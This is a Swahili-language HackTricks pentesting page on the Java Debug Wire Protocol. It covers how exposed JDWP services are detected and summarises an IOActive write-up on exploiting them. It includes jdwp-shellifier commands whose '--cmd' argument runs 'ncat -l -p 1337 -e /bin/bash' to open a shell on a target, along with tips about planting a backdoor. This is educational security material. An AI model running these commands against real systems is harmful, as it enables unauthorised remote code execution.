hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2024-02-11 02:13:58 +00:00

6.6 KiB

Pentesting JDWP - Itifaki ya Uunganishaji wa Java Debug Wire

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kudukua

Udanganyifu wa JDWP unategemea ukosefu wa uwakilishi na kusimbwa kwa itifaki. Kawaida inapatikana kwenye bandari 8000, lakini bandari nyingine ni sawa. Uunganisho wa awali unafanywa kwa kutuma "JDWP-Handshake" kwenye bandari ya lengo. Ikiwa huduma ya JDWP iko hai, itajibu na herufi sawa, ikithibitisha uwepo wake. Hatua hii ya mwanzo inafanya kazi kama njia ya kutambua huduma za JDWP kwenye mtandao.

Kuhusu utambuzi wa mchakato, kutafuta herufi "jdwk" kwenye michakato ya Java inaweza kuashiria kikao cha JDWP kilichopo.

Zana inayotumiwa ni jdwp-shellifier. Unaweza kuitumia na vigezo tofauti:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Nimegundua kuwa matumizi ya --break-on 'java.lang.String.indexOf' yanafanya shambulizi kuwa thabiti zaidi. Na ikiwa una nafasi ya kupakia mlango wa nyuma kwenye mwenyeji na kuutekeleza badala ya kutekeleza amri, shambulizi litakuwa thabiti zaidi.

Maelezo zaidi

Hii ni muhtasari wa https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Angalia kwa maelezo zaidi.

  1. JDWP Maelezo:
  • Ni itifaki ya mtandao ya pakiti, hasa ya kusawazisha.
  • Haina uthibitishaji na kificho, ikifanya kuwa hatarishi wakati inapofichuliwa kwenye mtandao wenye nia mbaya.
  1. JDWP Handshake:
  • Mchakato rahisi wa kupeana mikono hutumiwa kuanzisha mawasiliano. Kamba ya ASCII yenye herufi 14 "JDWP-Handshake" inabadilishwa kati ya Debugger (mteja) na Debuggee (seva).
  1. Mawasiliano ya JDWP:
  • Ujumbe una muundo rahisi na sehemu kama Urefu, Kitambulisho, Bendera, na Seti ya Amri.
  • Thamani za Seti ya Amri zinaanzia 0x40 hadi 0x80, zikionyesha hatua na matukio tofauti.
  1. Udanganyifu:
  • JDWP inaruhusu kupakia na kuita darasa na kanuni ya kiholela, ikileta hatari za usalama.
  • Makala inaelezea mchakato wa udanganyifu katika hatua tano, ikihusisha kupata marejeleo ya Java Runtime, kuweka alama za kusitisha, na kuita njia.
  1. Udanganyifu katika Maisha Halisi:
  • Licha ya ulinzi wa firewall, huduma za JDWP zinaweza kupatikana na kudanganywa katika mazingira halisi, kama inavyothibitishwa na utafutaji kwenye majukwaa kama ShodanHQ na GitHub.
  • Kigezo cha udanganyifu kilijaribiwa dhidi ya toleo mbalimbali za JDK na ni huru ya jukwaa, ikitoa Utekelezaji wa Kanuni kwa Mbali (RCE) unaoweza kutegemewa.
  1. Athari za Usalama:
  • Kuwepo kwa huduma za JDWP zilizofunguliwa kwenye mtandao kunasisitiza umuhimu wa ukaguzi wa usalama mara kwa mara, kuzima utendaji wa kurekebisha katika uzalishaji, na mipangilio sahihi ya firewall.

Marejeo:

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi bingwa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: